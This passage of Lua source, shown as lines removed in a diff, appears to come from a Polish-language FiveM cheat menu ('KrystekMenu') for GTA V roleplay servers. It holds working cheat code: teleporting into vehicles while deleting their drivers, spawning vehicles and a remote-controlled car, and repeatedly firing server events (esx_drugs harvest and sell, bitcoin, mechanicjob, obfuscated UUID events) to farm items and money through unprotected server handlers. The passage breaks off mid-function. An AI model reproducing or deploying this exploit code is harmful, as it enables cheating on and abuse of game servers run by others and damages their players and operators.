- elseif c1 ~= 0 and c3 == 0 then
- if IsVehicleSeatFree(c1, -1) then
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- else
- local c5 = GetPedInVehicleSeat(c1, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- end
- av('~g~Teleportowano do pobliskiego pojazdu!!', false)
- elseif c1 ~= 0 and c3 ~= 0 then
- if Vdist(c2.x, c2.y, c2.z, c0.x, c0.y, c0.z) < Vdist(c4.x, c4.y, c4.z, c0.x, c0.y, c0.z) then
- if IsVehicleSeatFree(c1, -1) then
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- else
- local c5 = GetPedInVehicleSeat(c1, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- end
- elseif Vdist(c2.x, c2.y, c2.z, c0.x, c0.y, c0.z) > Vdist(c4.x, c4.y, c4.z, c0.x, c0.y, c0.z) then
- if IsVehicleSeatFree(c3, -1) then
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- else
- local c5 = GetPedInVehicleSeat(c3, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- end
- end
- av('~g~Teleportowano do pobliskiego pojazdu!!', false)
- end
- end
- local function c6()
- if DoesBlipExist(GetFirstBlipInfoId(8)) then
- local c7 = GetBlipInfoIdIterator(8)
- local blip = GetFirstBlipInfoId(8, c7)
- WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip, Citizen.ResultAsVector())
- wp = true
- else
- av('~b~Brak znacznika!', true)
- end
- local c8 = 0.0
- height = 1000.0
- while wp do
- Citizen.Wait(0)
- if wp then
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
- then
- entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
- else
- entity = GetPlayerPed(-1)
- end
- SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
- FreezeEntityPosition(entity, true)
- local c9 = GetEntityCoords(entity, true)
- if c8 == 0.0 then
- height = height - 25.0
- SetEntityCoords(entity, c9.x, c9.y, height)
- bool, c8 = GetGroundZFor_3dCoord(c9.x, c9.y, c9.z, 0)
- else
- SetEntityCoords(entity, c9.x, c9.y, c8)
- FreezeEntityPosition(entity, false)
- wp = false
- height = 1000.0
- c8 = 0.0
- av('~g~Teleportowano do znacznika!', false)
- break
- end
- end
- end
- end
- local function ca()
- local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(
- GetHashKey(cb),
- GetEntityCoords(PlayerPedId(-1)),
- GetEntityHeading(PlayerPedId(-1)),
- true,
- true
- )
- SetPedIntoVehicle(PlayerPedId(-1), veh, -1)
- else
- av('~b~~h~Nie ma takiego pojazdu!', true)
- end
- end
- local function cc()
- SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
- SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
- SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
- Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleUndriveable(vehicle, false)
- end
- local function cd()
- SetVehicleEngineHealth(vehicle, 1000)
- Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleUndriveable(vehicle, false)
- end
- local function ce()
- KrystekMenu.StartRC()
- end
- KrystekMenu.StartRC = function()
- if DoesEntityExist(KrystekMenu.Entity) then
- return
- end
- KrystekMenu.SpawnRC()
- KrystekMenu.Tablet(true)
- while DoesEntityExist(KrystekMenu.Entity) and DoesEntityExist(KrystekMenu.Driver) do
- Citizen.Wait(5)
- local cf = GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(KrystekMenu.Entity), true)
- KrystekMenu.DrawInstructions(cf)
- KrystekMenu.HandleKeys(cf)
- if cf <= 3000.0 then
- if not NetworkHasControlOfEntity(KrystekMenu.Driver) then
- NetworkRequestControlOfEntity(KrystekMenu.Driver)
- elseif not NetworkHasControlOfEntity(KrystekMenu.Entity) then
- NetworkRequestControlOfEntity(KrystekMenu.Entity)
- end
- else
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 6, 2500)
- end
- end
- end
- KrystekMenu.HandleKeys = function(cf)
- if IsControlJustReleased(0, 47) then
- if IsCamRendering(KrystekMenu.Camera) then
- KrystekMenu.ToggleCamera(false)
- else
- KrystekMenu.ToggleCamera(true)
- end
- end
- if cf <= 3.0 then
- if IsControlJustPressed(0, 38) then
- KrystekMenu.Attach('pick')
- end
- end
- if cf < 3000.0 then
- if IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 9, 1)
- end
- if IsControlJustReleased(0, 172) or IsControlJustReleased(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 6, 2500)
- end
- if IsControlPressed(0, 173) and not IsControlPressed(0, 172) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 22, 1)
- end
- if IsControlPressed(0, 174) and IsControlPressed(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 13, 1)
- end
- if IsControlPressed(0, 175) and IsControlPressed(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 14, 1)
- end
- if IsControlPressed(0, 172) and IsControlPressed(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 30, 100)
- end
- if IsControlPressed(0, 174) and IsControlPressed(0, 172) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 7, 1)
- end
- if IsControlPressed(0, 175) and IsControlPressed(0, 172) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 8, 1)
- end
- if IsControlPressed(0, 174) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 4, 1)
- end
- if IsControlPressed(0, 175) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
- TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 5, 1)
- end
- if IsControlJustReleased(0, 168) then
- SetVehicleEngineOn(KrystekMenu.Entity, not GetIsVehicleEngineRunning(KrystekMenu.Entity), false, true)
- end
- end
- end
- KrystekMenu.DrawInstructions = function(cf)
- local cg = {
- {
- ['label'] = 'W prawo',
- ['button'] = '~INPUT_CELLPHONE_RIGHT~'
- },
- {
- ['label'] = 'Do przodu',
- ['button'] = '~INPUT_CELLPHONE_UP~'
- },
- {
- ['label'] = 'Do tylu',
- ['button'] = '~INPUT_CELLPHONE_DOWN~'
- },
- {
- ['label'] = 'W lewo',
- ['button'] = '~INPUT_CELLPHONE_LEFT~'
- }
- }
- local ch = {
- ['label'] = 'Usun Auto',
- ['button'] = '~INPUT_CONTEXT~'
- }
- local cj = {
- {
- ['label'] = 'Zmien Kamere',
- ['button'] = '~INPUT_DETONATE~'
- },
- {
- ['label'] = 'On/Off Silnik',
- ['button'] = '~INPUT_SELECT_CHARACTER_TREVOR~'
- }
- }
- if cf <= 3000.0 then
- for ck = 1, #cg do
- local cl = cg[ck]
- table.insert(cj, cl)
- end
- if cf <= 3000.0 then
- table.insert(cj, ch)
- end
- end
- Citizen.CreateThread(
- function()
- local cm = RequestScaleformMovie('instructional_buttons')
- while not HasScaleformMovieLoaded(cm) do
- Wait(0)
- end
- PushScaleformMovieFunction(cm, 'CLEAR_ALL')
- PushScaleformMovieFunction(cm, 'TOGGLE_MOUSE_BUTTONS')
- PushScaleformMovieFunctionParameterBool(0)
- PopScaleformMovieFunctionVoid()
- for ck, cn in ipairs(cj) do
- PushScaleformMovieFunction(cm, 'SET_DATA_SLOT')
- PushScaleformMovieFunctionParameterInt(ck - 1)
- PushScaleformMovieMethodParameterButtonName(cn['button'])
- PushScaleformMovieFunctionParameterString(cn['label'])
- PopScaleformMovieFunctionVoid()
- end
- PushScaleformMovieFunction(cm, 'DRAW_INSTRUCTIONAL_BUTTONS')
- PushScaleformMovieFunctionParameterInt(-1)
- PopScaleformMovieFunctionVoid()
- DrawScaleformMovieFullscreen(cm, 255, 255, 255, 255)
- end
- )
- end
- KrystekMenu.SpawnRC = function()
- local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- KrystekMenu.LoadModels(
- {
- GetHashKey(cb),
- 68070371
- }
- )
- local co, cp =
- GetEntityCoords(PlayerPedId()) + GetEntityForwardVector(PlayerPedId()) * 2.0,
- GetEntityHeading(PlayerPedId())
- KrystekMenu.Entity = CreateVehicle(GetHashKey(cb), co, cp, true)
- while not DoesEntityExist(KrystekMenu.Entity) do
- Citizen.Wait(5)
- end
- KrystekMenu.Driver = CreatePed(5, 68070371, co, cp, true)
- SetEntityInvincible(KrystekMenu.Driver, true)
- SetEntityVisible(KrystekMenu.Driver, false)
- FreezeEntityPosition(KrystekMenu.Driver, true)
- SetPedAlertness(KrystekMenu.Driver, 0.0)
- TaskWarpPedIntoVehicle(KrystekMenu.Driver, KrystekMenu.Entity, -1)
- while not IsPedInVehicle(KrystekMenu.Driver, KrystekMenu.Entity) do
- Citizen.Wait(0)
- end
- KrystekMenu.Attach('place')
- av('~g~~h~Gotowe', false)
- else
- av('~b~~h~Nie ma takiego pojazdu!', true)
- end
- end
- KrystekMenu.Attach = function(aw)
- if not DoesEntityExist(KrystekMenu.Entity) then
- return
- end
- KrystekMenu.LoadModels(
- {
- 'pickup_object'
- }
- )
- if aw == 'place' then
- AttachEntityToEntity(
- KrystekMenu.Entity,
- PlayerPedId(),
- GetPedBoneIndex(PlayerPedId(), 28422),
- 3.0,
- 0.0,
- 0.5,
- 70.0,
- 0.0,
- 270.0,
- 1,
- 1,
- 0,
- 0,
- 2,
- 1
- )
- Citizen.Wait(200)
- DetachEntity(KrystekMenu.Entity, false, true)
- PlaceObjectOnGroundProperly(KrystekMenu.Entity)
- elseif aw == 'pick' then
- if DoesCamExist(KrystekMenu.Camera) then
- KrystekMenu.ToggleCamera(false)
- end
- KrystekMenu.Tablet(false)
- Citizen.Wait(100)
- DetachEntity(KrystekMenu.Entity)
- DeleteVehicle(KrystekMenu.Entity)
- DeleteEntity(KrystekMenu.Driver)
- KrystekMenu.UnloadModels()
- end
- end
- KrystekMenu.Tablet = function(cq)
- if cq then
- KrystekMenu.LoadModels(
- {
- GetHashKey('prop_cs_tablet')
- }
- )
- KrystekMenu.LoadModels(
- {
- 'amb@code_human_in_bus_passenger_idles@female@tablet@idle_a'
- }
- )
- Citizen.CreateThread(
- function()
- while DoesEntityExist(KrystekMenu.TabletEntity) do
- Citizen.Wait(5)
- if
- not IsEntityPlayingAnim(
- PlayerPedId(),
- 'amb@code_human_in_bus_passenger_idles@female@tablet@idle_a',
- 'idle_a',
- 3
- )
- then
- end
- end
- ClearPedTasks(PlayerPedId())
- end
- )
- else
- DeleteEntity(KrystekMenu.TabletEntity)
- end
- end
- KrystekMenu.ToggleCamera = function(cq)
- if not true then
- return
- end
- if cq then
- if not DoesEntityExist(KrystekMenu.Entity) then
- return
- end
- if DoesCamExist(KrystekMenu.Camera) then
- DestroyCam(KrystekMenu.Camera)
- end
- KrystekMenu.Camera = CreateCam('DEFAULT_SCRIPTED_CAMERA', true)
- AttachCamToEntity(KrystekMenu.Camera, KrystekMenu.Entity, 0.0, 0.0, 0.4, true)
- Citizen.CreateThread(
- function()
- while DoesCamExist(KrystekMenu.Camera) do
- Citizen.Wait(5)
- SetCamRot(KrystekMenu.Camera, GetEntityRotation(KrystekMenu.Entity))
- end
- end
- )
- local cr =
- 500 *
- math.ceil(
- GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(KrystekMenu.Entity), true) / 10
- )
- RenderScriptCams(1, 1, cr, 1, 1)
- Citizen.Wait(cr)
- SetTimecycleModifier('scanline_cam_cheap')
- SetTimecycleModifierStrength(2.0)
- else
- local cr =
- 500 *
- math.ceil(
- GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(KrystekMenu.Entity), true) / 10
- )
- RenderScriptCams(0, 1, cr, 1, 0)
- Citizen.Wait(cr)
- ClearTimecycleModifier()
- DestroyCam(KrystekMenu.Camera)
- end
- end
- KrystekMenu.LoadModels = function(cs)
- for ct = 1, #cs do
- local bB = cs[ct]
- if not KrystekMenu.CachedModels then
- KrystekMenu.CachedModels = {}
- end
- table.insert(KrystekMenu.CachedModels, bB)
- if IsModelValid(bB) then
- while not HasModelLoaded(bB) do
- RequestModel(bB)
- Citizen.Wait(10)
- end
- else
- while not HasAnimDictLoaded(bB) do
- RequestAnimDict(bB)
- Citizen.Wait(10)
- end
- end
- end
- end
- KrystekMenu.UnloadModels = function()
- for ct = 1, #KrystekMenu.CachedModels do
- local bB = KrystekMenu.CachedModels[ct]
- if IsModelValid(bB) then
- SetModelAsNoLongerNeeded(bB)
- else
- RemoveAnimDict(bB)
- end
- end
- end
- local function cu()
- local ax = GetPlayerPed(-1)
- local ay = GetVehiclePedIsIn(ax, true)
- local m = KeyboardInput('Wprowadz nazwe rejestracji', '', 100)
- if m ~= '' then
- SetVehicleNumberPlateText(ay, m)
- end
- end
- function hrweed()
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
- TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
- TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
- TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
- TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
- end
- function trweed()
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
- TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
- TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
- TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
- TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
- end
- function srweed()
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
- TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
- TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
- TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
- TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
- end
- function hrcoke()
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
- TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
- TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
- TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
- TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
- end
- function trcoke()
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
- TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
- TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
- TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
- TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
- end
- function srcoke()
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
- TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
- TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
- TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
- TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
- end
- function hrmeth()
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
- TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
- TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
- TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
- TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
- end
- function trmeth()
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
- TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
- TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
- TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
- TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
- end
- function srmeth()
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
- TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
- TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
- TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
- TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
- end
- function hropi()
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
- TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
- TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
- TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
- TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
- end
- function tropi()
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
- TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
- TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
- TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
- TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
- end
- function sropi()
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
- TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
- TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
- TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
- TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
- end
- function hrjab()
- TriggerServerEvent('smerfikcraft:jabkoser')
- TriggerServerEvent('smerfikcraft:jabkoser')
- TriggerServerEvent('smerfikcraft:jabkoser')
- TriggerServerEvent('smerfikcraft:jabkoser')
- TriggerServerEvent('smerfikcraft:jabkoser')
- TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
- TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
- TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
- TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
- TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
- end
- function trjab()
- TriggerServerEvent('smerfikjablka:soki')
- TriggerServerEvent('smerfikjablka:soki')
- TriggerServerEvent('smerfikjablka:soki')
- TriggerServerEvent('smerfikjablka:soki')
- TriggerServerEvent('smerfikjablka:soki')
- TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
- TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
- TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
- TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
- TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
- end
- function srjab()
- TriggerServerEvent('smerfikcraft:skup')
- TriggerServerEvent('2777c1f9-0e3f-4d16-b0e9-f50c8bfd75b1')
- end
- function hrgrz()
- TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
- TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
- TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
- TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
- TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
- end
- function trgrz()
- TriggerServerEvent('esx_grzyb:startTransformgrzyb')
- TriggerServerEvent('esx_grzyb:startTransformgrzyb')
- TriggerServerEvent('esx_grzyb:startTransformgrzyb')
- TriggerServerEvent('esx_grzyb:startTransformgrzyb')
- TriggerServerEvent('esx_grzyb:startTransformgrzyb')
- end
- function srgrz()
- TriggerServerEvent('esx_grzyb:startSellgrzyb')
- TriggerServerEvent('esx_grzyb:startSellgrzyb')
- TriggerServerEvent('esx_grzyb:startSellgrzyb')
- TriggerServerEvent('esx_grzyb:startSellgrzyb')
- TriggerServerEvent('esx_grzyb:startSellgrzyb')
- TriggerServerEvent('esx_grzyb:startSellgrzyb')
- end
- function harvestbitcoin()
- TriggerServerEvent('esx_bitcoin:startHarvestKoda')
- TriggerServerEvent('esx_bitcoin:startHarvestKoda')
- TriggerServerEvent('esx_bitcoin:startHarvestKoda')
- TriggerServerEvent('esx_bitcoin:startHarvestKoda')
- TriggerServerEvent('esx_bitcoin:startHarvestKoda')
- end
- function sellbitcoin()
- TriggerServerEvent('esx_bitcoin:startSellKoda')
- TriggerServerEvent('esx_bitcoin:startSellKoda')
- TriggerServerEvent('esx_bitcoin:startSellKoda')
- TriggerServerEvent('esx_bitcoin:startSellKoda')
- TriggerServerEvent('esx_bitcoin:startSellKoda')
- end
- function harvestgazbottle()
- TriggerServerEvent('esx_mechanicjob:startHarvest')
- TriggerServerEvent('esx_mechanicjob:startHarvest')
- TriggerServerEvent('esx_mechanicjob:startHarvest')
- TriggerServerEvent('esx_mechanicjob:startHarvest')
- TriggerServerEvent('esx_mechanicjob:startHarvest')
- end
- function craftgazbottle()
- TriggerServerEvent('esx_mechanicjob:startCraft')
- TriggerServerEvent('esx_mechanicjob:startCraft')
- TriggerServerEvent('esx_mechanicjob:startCraft')
- TriggerServerEvent('esx_mechanicjob:startCraft')
- TriggerServerEvent('esx_mechanicjob:startCraft')
- end
- function harvestrepairkits()
- TriggerServerEvent('esx_mechanicjob:startHarvest2')
- TriggerServerEvent('esx_mechanicjob:startHarvest2')
- TriggerServerEvent('esx_mechanicjob:startHarvest2')
- TriggerServerEvent('esx_mechanicjob:startHarvest2')
- TriggerServerEvent('esx_mechanicjob:startHarvest2')
- end
- function craftrepairkits()
- TriggerServerEvent('esx_mechanicjob:startCraft2')
- TriggerServerEvent('esx_mechanicjob:startCraft2')
- TriggerServerEvent('esx_mechanicjob:startCraft2')
- TriggerServerEvent('esx_mechanicjob:startCraft2')
- TriggerServerEvent('esx_mechanicjob:startCraft2')
- end
- function harvestbodykits()
- TriggerServerEvent('esx_mechanicjob:startHarvest3')
- TriggerServerEvent('esx_mechanicjob:startHarvest3')
- TriggerServerEvent('esx_mechanicjob:startHarvest3')
- TriggerServerEvent('esx_mechanicjob:startHarvest3')
- TriggerServerEvent('esx_mechanicjob:startHarvest3')
- end
- function selldrugs()
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- TriggerServerEvent('sellDrugs')
- end
- function craftbodykits()
- TriggerServerEvent('esx_mechanicjob:startCraft3')
- TriggerServerEvent('esx_mechanicjob:startCraft3')
- TriggerServerEvent('esx_mechanicjob:startCraft3')
- TriggerServerEvent('esx_mechanicjob:startCraft3')
- TriggerServerEvent('esx_mechanicjob:startCraft3')
- end
- function rmatanumaispalarufe()
- TriggerServerEvent('esx_drugs:stopHarvestCoke')
- TriggerServerEvent('esx_drugs:stopTransformCoke')
- TriggerServerEvent('esx_drugs:stopSellCoke')
- TriggerServerEvent('esx_drugs:stopHarvestMeth')
- TriggerServerEvent('esx_drugs:stopTransformMeth')
- TriggerServerEvent('esx_drugs:stopSellMeth')
- TriggerServerEvent('esx_drugs:stopHarvestWeed')
- TriggerServerEvent('esx_drugs:stopTransformWeed')
- TriggerServerEvent('esx_drugs:stopSellWeed')
- TriggerServerEvent('esx_drugs:stopHarvestOpium')
- TriggerServerEvent('esx_drugs:stopTransformOpium')
- TriggerServerEvent('esx_drugs:stopSellOpium')
- TriggerServerEvent('esx_grzyb:stopHarvestgrzyb')
- TriggerServerEvent('esx_grzyb:stopTransformgrzyb')
- TriggerServerEvent('esx_grzyb:stopSellgrzyb')
- TriggerServerEvent('esx_bitcoin:stopHarvestKoda')
- TriggerServerEvent('esx_bitcoin:stopSellKoda')
- TriggerServerEvent('esx_mechanicjob:stopHarvest')
- TriggerServerEvent('esx_mechanicjob:stopCraft')
- TriggerServerEvent('esx_mechanicjob:stopHarvest2')
- TriggerServerEvent('esx_mechanicjob:stopCraft2')
- TriggerServerEvent('esx_mechanicjob:stopHarvest3')
- TriggerServerEvent('esx_mechanicjob:stopCraft3')
- av('~b~Wszystko zostalo zatrzymane :D.', false)
- end
- function pralniabr()
